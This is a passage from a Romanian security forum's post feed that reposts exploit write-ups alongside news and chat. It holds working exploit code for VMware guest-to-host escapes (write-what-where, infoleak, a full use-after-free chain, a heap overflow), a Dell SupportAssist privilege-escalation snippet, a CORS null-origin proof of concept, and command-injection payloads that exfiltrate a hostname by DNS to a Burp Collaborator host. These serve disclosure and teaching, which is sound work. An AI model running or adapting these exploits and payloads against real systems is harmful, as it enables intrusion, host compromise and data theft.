0xfffff8a001cc2060. Translating this to a physical address then: 1 2 3 4 5 6 7 8 kd> !pte fffff8a001cc2060 VA fffff8a001cc2060 PXE at FFFFF6FB7DBEDF88 PPE at FFFFF6FB7DBF1400 PDE at FFFFF6FB7E280070 PTE at FFFFF6FC5000E610 contains 000000007AC84863 contains 00000000030D4863 contains 0000000073147863 contains E6500000716FD963 pfn 7ac84 ---DA--KWEV pfn 30d4 ---DA--KWEV pfn 73147 ---DA--KWEV pfn 716fd -G-DA--KW-V kd> ? 716fd * 0x1000 + 060 Evaluate expression: 1903153248 = 00000000`716fd060 So our physical address is 0x716fd060 (if you’d like to read more about converting VA to PA, check out this great Microsoft article[6]). Notice the lower 12 bits remain the same between VA/PA. The search loop then boiled down to the following code: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 uStartAddr = uStartAddr + (VirtualAddress & 0xfff); for (USHORT chunk = 0; chunk < 0xb; ++chunk) { lpMemBuf = ReadBlockMem(hDriver, uStartAddr, 0x10000000); for(SIZE_T i = 0; i < 0x10000000; i += 0x1000, uStartAddr += 0x1000){ if (memcmp((DWORD)lpMemBuf + i, "User32 ", 8) == 0){ if (TokenId <= 0x0) FetchTokenId(); if (*(DWORD*)((char*)lpMemBuf + i + 0x10) == TokenId) { hTokenAddr = uStartAddr; break; } } } HeapFree(GetProcessHeap(), 0, lpMemBuf); if (hTokenAddr > 0x0) break; } Once we identify the PA of our token, we trigger two separate writes at offset 0x40 and offset 0x48, or the Enabled and Default fields of a _TOKEN. This sometimes requires a few runs to get right (due to mapping, which I was too lazy to work out), but is very stable. You can find the source code for the bug here. Timeline 04/05/18 – Vulnerability reported 04/06/18 – Initial response from Dell 04/10/18 – Status update from Dell 04/18/18 – Status update from Dell 05/16/18 – Patched version released (v2.2) References [0] http://www.dell.com/support/contents/us/en/04/article/product-support/self-support-knowledgebase/software-and-downloads/supportassist [1] http://blog.rewolf.pl/blog/?p=1630 [2] https://www.exploit-db.com/exploits/39785/ [3] http://www.pc-doctor.com/ [4] https://github.com/rwfpl/rewolf-msi-exploit [5] https://github.com/hatRiot/token-priv [6] https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/converting-virtual-addresses-to-physical-addresses\ Posted by Bryan Alexander May 17th, 2018 Sursa: http://hatriot.github.io/blog/2018/05/17/dell-supportassist-local-privilege-escalation/
  7. ABSTRACT Modern malware and spyware platforms attack existing antivirus solutions and even Microsoft PatchGuard. To protect users and business systems new technologies developed by Intel and AMD CPUs may be applied. To deal with the new malware we propose monitoring and controlling access to the memory in real time using Intel VT-x with EPT. We have checked this concept by developing MemoryMonRWX, which is a bare-metal hypervisor. MemoryMonRWX is able to track and trap all types of memory access: read, write, and execute. MemoryMonRWX also has the following competitive advantages: fine-grained analysis, support of multi-core CPUs and 64-bit Windows 10. MemoryMonRWX is able to protect critical kernel memory areas even when PatchGuard has been disabled by malware. Its main innovative features are as follows: guaranteed interception of every memory access, resilience, and low performance degradation. Download: https://arxiv.org/ftp/arxiv/papers/1705/1705.06784.pdf
      • 1
      • Upvote
  8. The Grey Matter of Securing Android Applications Version 1.0 6th April, 2018 A whitepaper to help developers code a secure Android application by leveraging the security features provided by Google Whitepaper By Shiv Sahni Senior Security Analyst Lucideus Technologies shiv.s@lucideustech.com Download: https://dl.packetstormsecurity.net/papers/general/The_Grey_Matter_of_Securing_Android_Applications_v1.0.pdf
  9. Blind Command Injection Testing with Burp Collaborator 15 May 2018 on burpsuite, webapp, command injection, DNS, Exfil In this post we will demonstrate how Burp Collaborator can be leveraged for detecting and exploiting blind command injection vulnerabilities. Burp Collaborator is an excellent tool provided by Portswigger in BurpSuite Pro to help induce and detect external service interactions. These external service interactions occur when an application or system performs an action which interacts with another system or service...eazy peezy. An example of an external interaction is DNS lookups. If you provide a hostname to a service, and it resolves that hostname, an external service interaction has likely occurred. While Burp Collaborator has many use cases, today we'll explore a specific use case -- detecting and exploiting blind command injections. Command injection vulnerabilities occur when user-controllable data is processed by a shell command interpreter -- the information you submitted to the application was used as part of a command run directly by the system. Command injection vulnerabilities are serious findings, as they allow an attacker to execute commands on the underlying system hosting the web application. Let's take a look at how Burp Collaborator could be used to help us detect and exploit the more difficult form of command injection vulnerabilities, blind command injections. In blind command injection, we don't see any output from our injection attacks, even though the command is running behind the scenes. We generally see detection performed via payloads which cause the system to perform a noticeable action like sleep (time-based), or perhaps ping another server under our control. Sleep Command Injected - Response Time Observed Ping Command Injected Ping Response Observed With Burp Collaborator, we can often use its DNS service interaction to find these vulnerabilities a bit more easily. We're likely already using BurpSuite to assess the application, so it makes sense to leverage Collaborator. If we can induce our target to perform an external service interaction via a command injection, we can use Collaborator to confirm it. So you think you have a shot at blind command injection? Start up the Collaborator client! Grab a Collaborator payload by copying it to your clipboard: It will look something like this: 255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net Fun fact: the nslookup command uses similar syntax on Windows and Linux, making it a perfect candidate for cross-platform blind command injection tests. Just insert nslookup $collaborator-payload into your usual test cases. If a DNS lookup is performed on your payload, you'll be notified by Collaborator. Let's drop a Collaborator payload into our example injection... Here's the payload: 8.8.8.8;nslookup 255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net The only output we see from the web application is "Test passed." But we see the response to our injection received by the Collaborator client, confirming we have command execution. Awesome. Let's take it a step further. What if we wanted to exfiltrate some data? Perhaps we're unable to gain a shell from our injection attempts, and we need to figure out why -- or we just want a better proof of concept for our report. Collaborator gives us a really simple and effective option for this, without leaving BurpSuite to setup additional tools during a test. We can use Collaborator to pull back some details about the target by appending system data to the beginning of the DNS lookup. Collaborator will accept lookups to any subdomain requested on the payload (keeping in mind 63 character limits for subdomains, and 253 character limits for the overall DNS lookup). Let's pull back the hostname of our target system. Here's the payload: 8.8.8.8;nslookup $(hostname).255g0p3vslus8dt7w02tj4cj8ae22r.burpcollaborator.net Excellent, we've retrieved the hostname from our target through DNS exfiltration. With a little imagination we can bring back all sorts of informative details. A note on security: don't send sensitive data back over a DNS channel without securing it. In addition, you can read about the security of the Collaborator service provided by Portswigger in their documentation, or you can spin up your own private Collaborator server to use internally. Resources Burp Collaborator Documentation OWASP Testing for Command Injections Hackerone Command Injection How-To Contextis Data Exfiltration via Blind OS Command Injection Sursa: http://threat.tevora.com/stop-collaborate-and-listen/
      • 1
      • Upvote
  10. Nu e tocmai o problema in OpenPGP/S/MIME dupa cum suna acest articol, deci puteti folosi in continuare. Problema e la anumiti clienti de email care afiseaza HTML.
  11. Forta. Insa ma gandesc daca sa sterg acest link, deoarece am impresia ca o sa ne fure niste utilizatori...
  12. Fixed in 4.3.2 de catre IPBoard. Multumim kronzy.
  13. E valid (self) pentru cei care nu au incredere.
  14. Un român care a lansat un atac informatic asupra serverelor californiene ale foarte popularului joc video "World of Warcraft" (WoW), pentru a se răzbuna în urma unei dispute pe care a avut-o cu un alt jucător de pe internet, a fost condamnat luni la un an de închisoare în Statele Unite, informează AFP, citată de Agerpres. Foto: Gulliver/Getty Images Călin Mateiaş, în vârstă de 38 de ani şi originar din Bucureşti, a fost extrădat în Statele Unite după ce a inundat în 2010 serverele acestui joc video online cu un număr atât de mare de cereri de conectare, încât "World of Warcraft" a devenit inaccesibil pentru mii de alţi jucători din lumea întreagă. "Supărat pe un jucător cu care juca acest joc în mod regulat, acuzatul era hotărât să îi facă să piardă pe adversarii lui din jocul 'WoW' prin oprirea serverelor, pentru ca aceştia să nu mai poată să aibă acces la jocul online", au scris procurorii în documentele depuse la un tribunal american. "Faptele lui erau motivate de dorinţa puerilă de a câştiga acest joc şi de a-i vedea pe ceilalţi pierzând", potrivit aceleiaşi surse. În februarie, Călin Mateiaş a pledat vinovat în faţa unui tribunal din Los Angeles după ce a fost acuzat că a avariat în mod intenţionat un calculator protejat. Luna trecută, el a plătit 30.000 de dolari companiei Blizzard Entertainment, editorul jocului video "World of Warcraft". În consecinţă, autorităţile americane au renunţat la judecarea românului într-un proces separat, deschis în statul Pennsylvania, în care Călin Mateiaş era acuzat de piraterie informatică. Sursa: https://www.digi24.ro/stiri/externe/sua/un-roman-care-a-piratat-jocul-video-world-of-warcraft-a-fost-condamnat-la-un-an-de-inchisoare-925552?
      • 3
      • Upvote
      • Thanks
  15. Frumos raspuns. Nu ma asteptam, sincer.
  16. Sa inteleg ca toti o duc bine acum, nu? Oricum, exceptand aceste cazuri care probabil sunt putine, dintre cei care au intrat mai tarziu in asta, s-a imbogatit cineva?
  17. De curiozitate, cine de pe aici a facut cel putin cateva mii de euro din Bitcoin sau alte monede?
  18. Monday, 23 April 2018 Exploiting misconfigured CORS Null Origin Almost two years ago, in October 2016, James Kettle published an excellent blog post about the various types of Cross-Origin Resource Sharing (CORS) misconfigurations and how they can be exploited. Recently, I encountered a web application that allowed for two-way interaction with the so-called null origin. More precisely, when sending an HTTP request specifying the header: Origin: null the server would respond with the following two HTTP headers: Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true This configuration allows us to issue arbitrary requests to the application as long as we can set the Origin header to null. According to Kettle's blog post, it can be exploited by issuing the request from within an iframe using a data-url as follows: <iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>'></iframe> Although the code above gives a hint to the right direction, it falls short of a complete proof of concept. I struggled to find code that would work across the browsers Chrome and Firefox, but eventually succeeded with the following snippet: <html> <body> <iframe src='data:text/html,<script> var xhr = new XMLHttpRequest(); xhr.open("GET", "https://vuln-app.com/confidential", true); xhr.withCredentials = true; xhr.onload = function () { if (xhr.readyState === xhr.DONE) { console.log(xhr.response); } }; xhr.send(null); </script>'></iframe> </body> As soon as the page from above is opened, a request to https://vuln-app.com/confidential should be issued with an Origin: null HTTP header and the correspoding HTTP response should be shown in the browser console. Sursa: https://www.soffensive.com/2018/04/exploiting-misconfigured-cors-null.html
  19. A bunch of Red Pills: VMware Escapes by Marco Grassi, Azureyang, Jackyxty Background VMware is one of the leaders in virtualization nowadays. They offer VMware ESXi for cloud, and VMware Workstation and Fusion for Desktops (Windows, Linux, macOS). The technology is very well known to the public: it allows users to run unmodified guest “virtual machines”. Often those virtual machines are not trusted, and they must be isolated. VMware goes to a great deal to offer this isolation, especially on the ESXi product where virtual machines of different actors can potentially run on the same hardware. So a strong isolation of is paramount importance. Recently at Pwn2Own the “Virtualization” category was introduced, and VMware was among the targets since Pwn2Own 2016. In 2017 we successfully demonstrated a VMware escape from a guest to the host from a unprivileged account, resulting in executing code on the host, breaking out of the virtual machine. If you escape your virtual machine environment then all isolation assurances are lost, since you are running code on the host, which controls the guests. But how VMware works? In a nutshell it often uses (but they are not strictly required) CPU and memory hardware virtualization technologies, so a guest virtual machine can run code at native speed most of the time. But a modern system is not just a CPU and Memory, it also requires lot of other Hardware to work properly and be useful. This point is very important because it will consist of one of the biggest attack surfaces of VMware: the virtualized hardware. Virtualizing a hardware device is not a trivial task. It’s easily realized by reading any datasheet for hardware software interface for a PC hardware device. VMware will trap on I/O access on this virtual device and it needs to emulate all those low level operations correctly, since it aims to run unmodified kernels, its emulated devices must behave as closely as possible to their real counterparts. Furthermore if you ever used VMware you might have noticed its copy paste capabilities, and shared folders. How those are implemented? To summarize, in this blog post we will cover quite some bugs. Both in this “backdoor” functionalities that support those “extra” services such as C&P, and one in a virtualized device. Altough recently lot of VMware blogpost and presentations were released, we felt the need to write our own for the following reasons: First, no one ever talked correctly about our Pwn2Own bugs, so we want to shed light on them. Second, some of those published resources either lack of details or code. So we hope you will enjoy our blogpost! We will begin with some background informations to get you up to speed. Let’s get started! Overall architecture A complex product like VMware consists of several components, we will just highlight the most important ones, since the VMware architecture design has already been discussed extensively elsewhere. VMM: this piece of software runs at the highest possible privilege level on the physical machine. It makes the VMs tick and run and also handles all the tasks which are impossible to perform from the host ring 3 for example. vmnat: vmnat is responsible for the network packet handling, since VMware offers advanced functionalities such as NAT and virtual networks. vmware-vmx: every virtual machine started on the system has its own vmware-vmx process running on the host. This process handles lot of tasks which are relevant for this blogpost, including lot of the device emulation, and backdoor requests handling. The result of the exploitation of the chains we will present will result in code execution on the host in the context of vmware-vmx. Backdoor The so called backdoor, it’s not actually a “backdoor”, it’s simply a mechanism implemented in VMware for guest-host and host-guest communication. A useful resource for understanding this interface is the open-vm-tools repository by VMware itself. Basically at the lower level, the backdoor consists of 2 IO ports 0x5658 and 0x5659, the first for “traditional” communication, the other one for “high bandwidth” ones. The guest issues in/out instructions on those ports with some registers convention and it’s able to communicate with the VMware running on the host. The hypervisor will trap and service the request. On top of this low level mechanism, vmware implemented some more convenient high level protocols, we encourage you to check the open-vm-tools repository to discover those since they were covered extensively elsewhere we will not spend too much time covering the details. Just to mention a few of those higher level protocols: drag and drop, copy and paste, guestrpc. The fundamental points to remember are: It’s a interface guest-host that we can use It exposes complex services and functionalities. Lot of these functionalities can be used from ring3 in the guest VM xHCI xHCI (aka eXtensible Host Controller Interface) is a specification of a USB host controller (normally implemented in hardware in normal PC) by Intel which supports USB 1.x, 2.0 and 3.x. You can find the relevant specification here. On a physical machine it’s often present: 1 00:14.0 USB controller: Intel Corporation C610/X99 series chipset USB xHCI Host Controller (rev 05) In VMware this hardware device is emulated, and if you create a Windows 10 virtual machine, this emulated controller is enabled by default, so a guest virtual machine can interact with this particular emulated device. The interaction, like with a lot of hardware devices, will take place in the PCI memory space and in the IO memory mapped space. This very low level interface is the one used by the OS kernel driver in order to schedule usb work, and receive data and all the tasks related to USB. Just by looking at the specifications alone, which are more than 600 pages, it’s no surprise that this piece of hardware and its interface are very complex, and the specifications just covers the interface and the behavior, not the actual implementation. Now imagine actually emulating this complex hardware. You can imagine it’s a very complex and error prone task, as we will see soon. Often to speak directly with the hardware (and by consequence also virtualized hardware), you need to run in ring0 in the guest. That’s why (as you will see in the next paragraphs) we used a Windows Kernel LPE inside the VM. Mitigations VMware ships with “baseline” mitigations which are expected in modern software, such as ASLR, stack cookies etc. More advanced Windows mitigations such as CFG, Microsoft version of Control Flow Integrity and others, are not deployed at the time of writing. Pwn2Own 2017: VMware Escape by two bugs in 1 second Team Sniper (Keen Lab and PC Mgr) targeting VMware Workstation (Guest-to-Host), and the event certainly did not end with a whimper. They used a three-bug chain to win the Virtual Machine Escapes (Guest-to-Host) category with a VMware Workstation exploit. This involved a Windows kernel UAF, a Workstation infoleak, and an uninitialized buffer in Workstation to go guest-to-host. This category ratcheted up the difficulty even further because VMware Tools were not installed in the guest. ZDIThe Security Landscape: Pwn2Own 2017 The following vulnerabilities were identified and analyzed: XHCI: CVE-2017-4904 critical Uninitialized stack value leading to arbitrary code execution CVE-2017-4905 moderate Uninitialized memory read leading to information disclosure ZDI THE RESULTSPWN2OWN 2017 DAY THREE CVE-2017-4904 xHCI uninitialized stack variable This is an uninitialized variable vulnerability residing in the emulated XHCI device, when updating the changes of Device Context into the guest physical memory. The XHCI reports some status info to system software through “Device Context” structure. The address of a Device Context is in the DCBAA (Device Context Base Address Array), whose address is in the DCBAAP (Device Context Base Address Array Pointer) register. Both the Device Context and DCBAA resides in the physical RAM. And the XHCI device will keep an internal cache of the Device Context and only updates the one in physical memory when some changes happen. When updating the Device Context, the virtual machine monitor will map the guest physical memory containing the Device Context into the memory space of the monitor process, then do the update. However the mapping could fail and leave the result variable untouched. The code does not take precaution against it and directly uses the result as a destination address for memory writing, resulting an uninitialized variable vulnerability. To trigger this bug, the following steps should be taken: Issue a “Enable Slot” command to XHCI. Get the result slot number from Event TRB. Set the DCBAAP to point to a controlled buffer. Put some invalid physical address, eg. 0xffffffffffffffff, into the corresponding slot in the DCBAA buffer. Issue an “Address Device” command. The XHCI will read the base address of Device Context from DCBAA to an internal cache and the value is an controlled invalid address. Issue an “Configure Endpoint” command. Trigger the bug when XHCI updates the corresponding Device Context. The uninitialized variable resides on the stack. Its value can be controlled in the “Configure Endpoint” command with one of the Endpoint Context of the Input Context which is also on the stack. Therefore we can control the destination address of the write. And the contents to be written are from the Endpoint Context of the Device Context, which is copied from the corresponding controllable Endpoint Context of the Input Context, resulting a write-what-where primitive. By combining with the info leak vulnerability, we can overwrite some function pointers and finally rop to get arbitrary code execution. Exploit code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 void write_what_where(uint64 xhci_base, uint64 where, uint64 what) { xhci_cap_regs *cap_regs = (xhci_cap_regs*)xhci_base; xhci_op_regs *op_regs = (xhci_op_regs*)(xhci_base + (cap_regs->hc_capbase & 0xff)); xhci_doorbell_array *db = (xhci_doorbell_array*)(xhci_base + cap_regs->db_off); int max_slots = cap_regs->hcs_params1 & 0xf; uint8 *playground = (uint8 *)ExAllocatePoolWithTag(NonPagedPool, 0x1000, 'NEEK'); if (!playground) return; playground[0] = 0; uint64 *dcbaa = (uint64*)playground; playground += sizeof(uint64) * max_slots; for (int i = 0; i < max_slots; ++i) { dcbaa[i] = 0xffffffffffffffc0; } op_regs->dcbaa_ptr = MmGetPhysicalAddress(dcbaa).QuadPart; playground = (uint8*)(((uint64)playground + 0x10) & (~0xf)); input_context *input_ctx = (input_context*)playground; playground += sizeof(input_context); playground = (uint8*)(((uint64)playground + 0x40) & (~0x3f)); uint8 *cring = playground; uint64 cmd_ring = MmGetPhysicalAddress(cring).QuadPart | 1; trb_t *cmd = (trb_t*)cring; memset((void*)cmd, 0, sizeof(trb_t)); TRB_SET(TT, cmd, TRB_CMD_ENABLE_SLOT); TRB_SET(C, cmd, 1); cmd++; memset(input_ctx, 0, sizeof(input_context)); input_ctx->ctrl_ctx.drop_flags = 0; input_ctx->ctrl_ctx.add_flags = 3; input_ctx->slot_ctx.context_entries = 1; memset((void*)cmd, 0, sizeof(trb_t)); TRB_SET(TT, cmd, TRB_CMD_ADDRESS_DEV); TRB_SET(ID, cmd, 1); TRB_SET(DC, cmd, 1); cmd->ptr = MmGetPhysicalAddress(input_ctx).QuadPart; TRB_SET(C, cmd, 1); cmd++; TRB_SET(C, cmd, 0); op_regs->cmd_ring = cmd_ring; db.doorbell[0] = 0; cmd = (trb_t*)cring; memset(input_ctx, 0, sizeof(input_context)); input_ctx->ctrl_ctx.drop_flags = 0; input_ctx->ctrl_ctx.add_flags = (1u<<31)|(1u<<30); input_ctx->slot_ctx.context_entries = 31; uint64 *value = (uint64*)(&input_ctx->ep_ctx[30]); uint64 *addr = ((uint64*)(&input_ctx->ep_ctx[31])) + 1; value[0] = 0; value[1] = what; value[2] = 0; addr[0] = where - 0x3b8; memset((void*)cmd, 0, sizeof(trb_t)); TRB_SET(TT, cmd, TRB_CMD_CONFIGURE_EP); TRB_SET(ID, cmd, 1); TRB_SET(DC, cmd, 0); cmd->ptr = MmGetPhysicalAddress(input_ctx).QuadPart; TRB_SET(C, cmd, 1); cmd++; TRB_SET(C, cmd, 0); op_regs->cmd_ring = cmd_ring; db.doorbell[0] = 0; } CVE-2017-4905 Backdoor uninitialized memory read This is an uninitialized memory vulnerability present in the Backdoor callback handler. A buffer will be allocated on the stack when processing the backdoor requests. This buffer should be initialized in the BDOORHB callback. But when requesting invalid commands, the callback fails to properly clear the buffer, causing the uninitialized content of the stack buffer to be leaked to the guest. With this bug we can effectively defeat the ASLR of vmware-vmx running on the host. The successful rate to exploit this bug is 100%. Credits to JunMao of Tencent PCManager. PoC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void infoleak() { char *buf = (char *)VirtualAlloc(0, 0x8000, MEM_COMMIT, PAGE_READWRITE); memset(buf, 0, 0x8000); Backdoor_proto_hb hb; memset(&hb, 0, sizeof(Backdoor_proto_hb)); hb.in.size = 0x8000; hb.in.dstAddr = (uintptr_t)buf; hb.in.bx.halfs.low = 2; Backdoor_HbIn(&hb); // buf will be filled with contents leaked from vmware-vmx stack // ... VirtualFree((void *)buf, 0x8000, MEM_DECOMMIT); return; } Behind the scenes of Pwn2Own 2017 Exploit the UAF bug in VMware Workstation Drag n Drop with single bug By fuzzing VMware workstation, we found this bug and complete the whole stable exploit chain using this single bug in the last few days of Feb. 2017. Unfortunately this bug was patched in VMware workstation 12.5.3 released on 9 Mar. 2017. After we noticed few papers talked about this bug, and VMware even have no CVE id assigned to this bug. That’s such a pity because it’s the best bug we have ever seen in VMware workstaion, and VMware just patched it quietly. Now we’re going to talk about the way to exploit VMware Workstation with this single bug. Exploit Code This exploit successful rate is approximately 100%. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 char *initial_dnd = "tools.capability.dnd_version 4"; static const int cbObj = 0x100; char *second_dnd = "tools.capability.dnd_version 2"; char *chgver = "vmx.capability.dnd_version"; char *call_transport = "dnd.transport "; char *readstring = "ToolsAutoInstallGetParams"; typedef struct _DnDCPMsgHdrV4 { char magic[14]; char dummy[2]; size_t ropper[13]; char shellcode[175]; char padding[0x80]; } DnDCPMsgHdrV4; void PrepareLFH() { char *result = NULL; char *pObj = malloc(cbObj); memset(pObj, 'A', cbObj); pObj[cbObj - 1] = 0; for (int idx = 0; idx < 1; ++idx) // just occupy 1 { char *spary = stringf("info-set guestinfo.k%d %s", idx, pObj); RpcOut_SendOneRaw(spary, strlen(spary), &result, NULL); //alloc one to occupy 4 } free(pObj); } size_t infoleak() { #define MAX_LFH_BLOCK 512 Message_Channel *chans[5] = {0}; for (int i = 0; i < 5; ++i) { chans[i] = Message_Open(0x49435052); if (chans[i]) { Message_SendSize(chans[i], cbObj - 1); //just alloc } else { Message_Close(chans[i - 1]); //keep 1 channel valid chans[i - 1] = 0; break; } } PrepareLFH(); //make sure we have at least 7 hole or open and occupy next LFH block for (int i = 0; i < 5; ++i) { if (chans[i]) { Message_Close(chans[i]); } } char *result = NULL; char *pObj = malloc(cbObj); memset(pObj, 'A', cbObj); pObj[cbObj - 1] = 0; char *spary2 = stringf("guest.upgrader_send_cmd_line_args %s", pObj); while (1) { for (int i = 0; i < MAX_LFH_BLOCK; ++i) { RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); } for (int i = 0; i < MAX_LFH_BLOCK; ++i) { Message_Channel *chan = Message_Open(0x49435052); if (chan == NULL) { puts("Message send error!"); Sleep(100); } else { Message_SendSize(chan, cbObj - 1); Message_RawSend(chan, "\xA0\x75", 2); //just ret Message_Close(chan); } } Message_Channel *chan = Message_Open(0x49435052); Message_SendSize(chan, cbObj - 1); Message_RawSend(chan, "\xA0\x74", 2); //free RpcOut_SendOneRaw(dndtransport, strlen(dndtransport), &result, NULL); //trigger double free for (int i = 0; i < min(cbObj-3,MAX_LFH_BLOCK); ++i) { RpcOut_SendOneRaw(spary2, strlen(spary2), &result, NULL); Message_RawSend(chan, "B", 1); RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL); if (result[0] == 'A' && result[1] == 'A' && strcmp(result, pObj)) { Message_Close(chan); //free the string for (int i = 0; i < MAX_LFH_BLOCK; ++i) { puts("Trying to leak vtable"); RpcOut_SendOneRaw(tov4, strlen(tov4), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL); size_t p = 0; if (result) { memcpy(&p, result, min(strlen(result), 8)); printf("Leak content: %p\n", p); } size_t low = p & 0xFFFF; if (low == 0x74A8 || //RpcBase low == 0x74d0 || //CpV4 low == 0x7630) //DnDV4 { printf("vmware-vmx base: %p\n", (p & (~0xFFFF)) - 0x7a0000); return (p & (~0xFFFF)) - 0x7a0000; } RpcOut_SendOneRaw(tov2, strlen(tov2), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); } } } Message_Close(chan); } return 0; } void exploit(size_t base) { char *result = NULL; char *uptime_info = stringf("SetGuestInfo -7-%I64u", 0x41414141); char *pObj = malloc(cbObj); memset(pObj, 0, cbObj); DnDCPMsgHdrV4 *hdr = malloc(sizeof(DnDCPMsgHdrV4)); memset(hdr, 0, sizeof(DnDCPMsgHdrV4)); memcpy(hdr->magic, call_transport, strlen(call_transport)); while (1) { RpcOut_SendOneRaw(second_dnd, strlen(second_dnd), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); for (int i = 0; i < MAX_LFH_BLOCK; ++i) { Message_Channel *chan = Message_Open(0x49435052); Message_SendSize(chan, cbObj - 1); size_t fake_vtable[] = { base + 0xB87340, base + 0xB87340, base + 0xB87340, base + 0xB87340}; memcpy(pObj, &fake_vtable, sizeof(size_t) * 4); Message_RawSend(chan, pObj, sizeof(size_t) * 4); Message_Close(chan); } RpcOut_SendOneRaw(uptime_info, strlen(uptime_info), &result, NULL); RpcOut_SendOneRaw(hdr, sizeof(DnDCPMsgHdrV4), &result, NULL); //check pwn success? RpcOut_SendOneRaw(readstring, strlen(readstring), &result, NULL); if (*(size_t *)result == 0xdeadbeefc0debabe) { puts("VMware escape success! \nPwned by KeenLab, Tencent"); RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL);//fix dnd to callable prevent vmtoolsd problem RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); return; } //host dndv4 fill in, try to clean up and free again Sleep(100); puts("Object wrong! Retry..."); RpcOut_SendOneRaw(initial_dnd, strlen(initial_dnd), &result, NULL); RpcOut_SendOneRaw(chgver, strlen(chgver), &result, NULL); } } int main(int argc, char *argv[]) { int ret = 1; __try { while (1) { size_t base = 0; do { puts("Leaking..."); base = infoleak(); } while (!base); puts("Pwning..."); exploit(base); break; } } __except (ExceptionIsBackdoor(GetExceptionInformation()) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { fprintf(stderr, NOT_VMWARE_ERROR); return 1; } return ret; } CVE-2017-4901 DnDv3 HeapOverflow The drag-and-drop (DnD) function in VMware Workstation and Fusion has an out-of-bounds memory access vulnerability. This may allow a guest to execute code on the operating system that runs Workstation or Fusion. VMware Workstation and Fusion updates address out-of-bounds memory access vulnerabilitywww.vmware.com/security/advisories/VMSA-2017-0005.html After VMware released 12.5.3, we continued auditing the DnD and finally found another heap overflow bug similar to CVE-2016-7461. This bug was known by almost every participants of VMware category in Pwn2own 2017. Here we present the PoC of this bug. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 void poc() { int n; char *req1 = "tools.capability.dnd_version 3"; char *req2 = "vmx.capability.dnd_version"; RpcOut_SendOneRaw(req1, strlen(req1), NULL, NULL); RpcOut_SendOneRaw(req2, strlen(req2), NULL, NULL); char req3[0x80] = "dnd.transport "; n = strlen(req3); *(int*)(req3+n) = 3; *(int*)(req3+n+4) = 0; *(int*)(req3+n+8) = 0x100; *(int*)(req3+n+0xc) = 0; *(int*)(req3+n+0x10) = 0; // allocate buffer of 0x100 bytes RpcOut_SendOneRaw(req3, n+0x14, NULL, NULL); char req4[0x1000] = "dnd.transport "; n = strlen(req4); *(int*)(req4+n) = 3; *(int*)(req4+n+4) = 0; *(int*)(req4+n+8) = 0x1000; *(int*)(req4+n+0xc) = 0x800; *(int*)(req4+n+0x10) = 0; for (int i = 0; i < 0x800; ++i) req4[n+0x14+i] = 'A'; // overflow with 0x800 bytes of 'A' RpcOut_SendOneRaw(req4, n+0x14+0x800, NULL, NULL); } Conclusions In this article we presented several VMware bugs leading to guest to host virtual machine escape. We hope to have demonstrated that not only VM breakouts are possible and real, but also that a determined attacker can achieve multiple of them, and with good reliability. We feel that in our industry there is the misconception that if untrusted software runs inside a VM, then we will be safe. Think about the malware industry, which heavily relies on VMs for analysis, or the entire cloud which basically runs on hypervisors. For sure it’s an additional protection layer, raising the bar for an attacker to get full compromise, so it’s a very good practice to adopt it. But we must not forget that essentially it’s just another “layer of sandboxing” which can be bypassed or escaped. So great care must be taken to secure also this security layer. Sursa: https://keenlab.tencent.com/en/2018/04/23/A-bunch-of-Red-Pills-VMware-Escapes/
  20. Exploiting CVE-2018-1038 - Total Meltdown Posted on 23rd April 2018 Tagged in exploit, windows, kernel Back in March, a vulnerability was disclosed by Ulf Frisk in Windows 7 and Server 2008 R2. The vulnerability is pretty awesome, a patch released by Microsoft to mitigate the Meltdown vulnerability inadvertently opened up a hole on versions of Windows, allowing any process to access and modify page table entries. The writeup of the vulnerability can be found over on Ulf's blog here, and is well worth a read. This week I had some free time, so I decided to dig into the vulnerability and see just how the issue manifested itself. The aim was to create a quick exploit which could be used to elevate privileges during an assessment. I ended up delving into Windows memory management more than I had before, so this post was created to walk through just how an exploit can be crafted for this kind of vulnerability. As always, this post is for people looking to learn about exploitation techniques rather than simply providing a ready to fire exploit. With that said, let's start with some paging fundamentals. Articol complet: https://blog.xpnsec.com/total-meltdown-cve-2018-1038/
      • 1
      • Upvote
